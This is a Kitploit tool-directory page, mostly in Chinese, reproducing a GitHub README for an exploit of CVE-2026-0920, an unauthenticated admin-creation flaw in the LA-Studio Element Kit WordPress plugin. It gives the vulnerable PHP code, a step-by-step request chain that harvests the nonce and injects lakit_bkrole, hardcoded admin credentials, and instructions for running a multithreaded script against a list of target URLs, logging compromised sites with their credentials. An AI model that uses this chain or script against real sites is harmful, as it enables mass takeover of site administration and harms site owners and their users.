Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0920- — LA-Studio Element Kit for Elementor <= 1.5.6.3 - 通过 lakit_bkrole 参数,经由后门实现未认证权限提升并创建管理员用户 | Kitploit
工具/GitHubGitHub/nxploited/cve-2026-0920-
权限提升漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育
GitHubnxploited/cve-2026-0920-

CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - 通过 lakit_bkrole 参数,经由后门实现未认证权限提升并创建管理员用户

查看仓库
2175个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - 通过 lakit_bkrole 参数后门实现未认证权限提升并创建管理员账户

   _____   _____   ___ __ ___  __      __  ___ ___ __  
  / __\ \ / / __|_|_  )  \_  )/ / ___ /  \/ _ \_  )  \ 
 | (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
  \___| \_/ |___| /___\__/___\___/    \__/ /_//___\__/ 

Telegram CVE CVSS Python License


📡 漏洞利用代码最先在此发布。 在 Telegram 上关注 @KNxploited —— 获取最新披露 CVE、可用 PoC 与精准安全研究的顶尖资讯。持续更新,专为领先者打造。


🧠 概述

CVE-2026-0920 是在 LA-Studio Element Kit for Elementor WordPress 插件中发现的一个 CVSS 9.8 严重级别漏洞。

该缺陷位于 ajax_register_handle() 函数中,该函数通过 AJAX 处理未经认证的用户注册流程。该函数未对 lakit_bkrole 参数实施任何限制——允许完全未认证的攻击者在注册过程中自行分配 administrator 角色,仅需单个请求即可实现完全接管 WordPress 管理员权限。

字段详情
CVE IDCVE-2026-0920
插件LA-Studio Element Kit for Elementor
Sluglakit / la-studio-element-kit-for-elementor
受影响版本所有版本,最高至 1.5.6.3
漏洞类型未认证权限提升 / 管理员账户创建
攻击向量网络 — 无需认证
CVSS 3.1 评分9.8 严重
CVSS 向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
影响完全接管 WordPress 管理员权限
研究人员Nxploited

💀 漏洞深入剖析

根本原因在于插件 AJAX 注册处理器中缺少角色权限检查:

// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);

public function ajax_register_handle() {
    $actions = json_decode(stripslashes($_POST['actions']), true);

    foreach ($actions as $req) {
        if ($req['action'] === 'register') {
            $data = $req['data'];

            $user_data = [
                'user_login' => $data['username'],
                'user_pass'  => $data['password'],
                'user_email' => $data['email'],
                'role'       => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
            ];

            // No validation of $data['lakit_bkrole'] against allowed roles
            wp_insert_user($user_data); // Administrator created silently
        }
    }
}

为何此漏洞严重:

  • wp_ajax_nopriv_* = 任何零认证的人均可访问
  • lakit_bkrole 接受任意 WordPress 角色字符串——包括 administrator
  • 单个 POST 请求即可创建具有完全权限的管理员账户
  • 所需的 nonce 公开暴露在站点前端的 HTML/JS 中
  • 默认无速率限制、无 CAPTCHA 强制、无邮箱验证

⚔️ 漏洞利用链

Step 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)

Search HTML/JS for:
  "ajaxNonce": "<value>"         ← Inline JSON config
  ajaxNonce: '<value>'           ← JS variable
  data-ajaxnonce="<value>"       ← HTML attribute

Nonce is publicly accessible — no login required.
  ↓
ajaxNonce extracted ✔️

──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php

  action  = lakit_ajax
  _nonce  = <extracted nonce>
  actions = {
    "req1": {
      "action": "register",
      "data": {
        "email":                  "[email protected]",
        "password":               "adminSA",
        "username":               "Nx_admin",
        "lakit_field_log":        "yes",   ← use supplied username
        "lakit_field_pwd":        "yes",   ← use supplied password
        "lakit_field_cpwd":       "no",    ← skip password confirm
        "lakit_bkrole":           "1",     ← trigger admin role injection
        "lakit_recaptcha_response": ""
      }
    }
  }
  ↓
Administrator account silently created ✔️

──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
  log = Nx_admin
  pwd = adminSA
  ↓
Session cookies obtained → GET /wp-admin/plugin-install.php
  ↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️

⚙️ 环境要求

pip install requests colorama
依赖用途
requestsHTTP 请求、会话处理、Cookie 管理
colorama在所有平台上输出彩色终端文本
threading并发多目标处理
re基于正则表达式从 HTML/JS 中提取 nonce

建议使用 Python 3.10+(使用了 str | None 联合类型提示)。


📂 文件结构

CVE-2026-0920/
├── CVE-2026-0920.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: pwned targets + credentials

🚀 使用方法

步骤 1 — 配置凭据 (可选)

打开 CVE-2026-0920.py,编辑顶部的常量以设置你所需的管理员账户信息:

ADMIN_EMAIL    = "[email protected]"   # Email for the new admin account
ADMIN_PASSWORD = "adminSA"                 # Password for the new admin account
ADMIN_USERNAME = "Nx_admin"               # Username for the new admin account

步骤 2 — 准备目标

创建 list.txt,每行一个目标 URL:

https://target1.com
https://target2.com
http://target3.com

没有协议前缀的 URL 会自动添加 https://。


步骤 3 — 运行漏洞利用脚本

python CVE-2026-0920.py

系统将提示你:

Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50):             20

步骤 4 — 监控实时输出

脚本会生成实时、颜色区分的终端输出:

[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK

============================================================
[ SUCCESS BLOCK ]
Site        : https://target.com
Result      : SUCCESS
AJAX OK     : YES
FULL ADMIN  : YES (login + plugin install access)
============================================================
颜色含义
🔵 青色 [*]信息 — 步骤进行中
🟢 绿色 [+]积极信号 — 部分或完全成功
🟡 黄色 [!]警告 — 结果模糊,需人工复核
🔴 红色 [-]失败 — 目标不可利用或出错

步骤 5 — 查看结果

成功利用的目标会被写入 success_results.txt:

https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3

每一行包含完整信息:目标、凭据、登录状态、AJAX 响应状态以及所使用的 nonce。


🖥️ 脚本参数参考

下载工具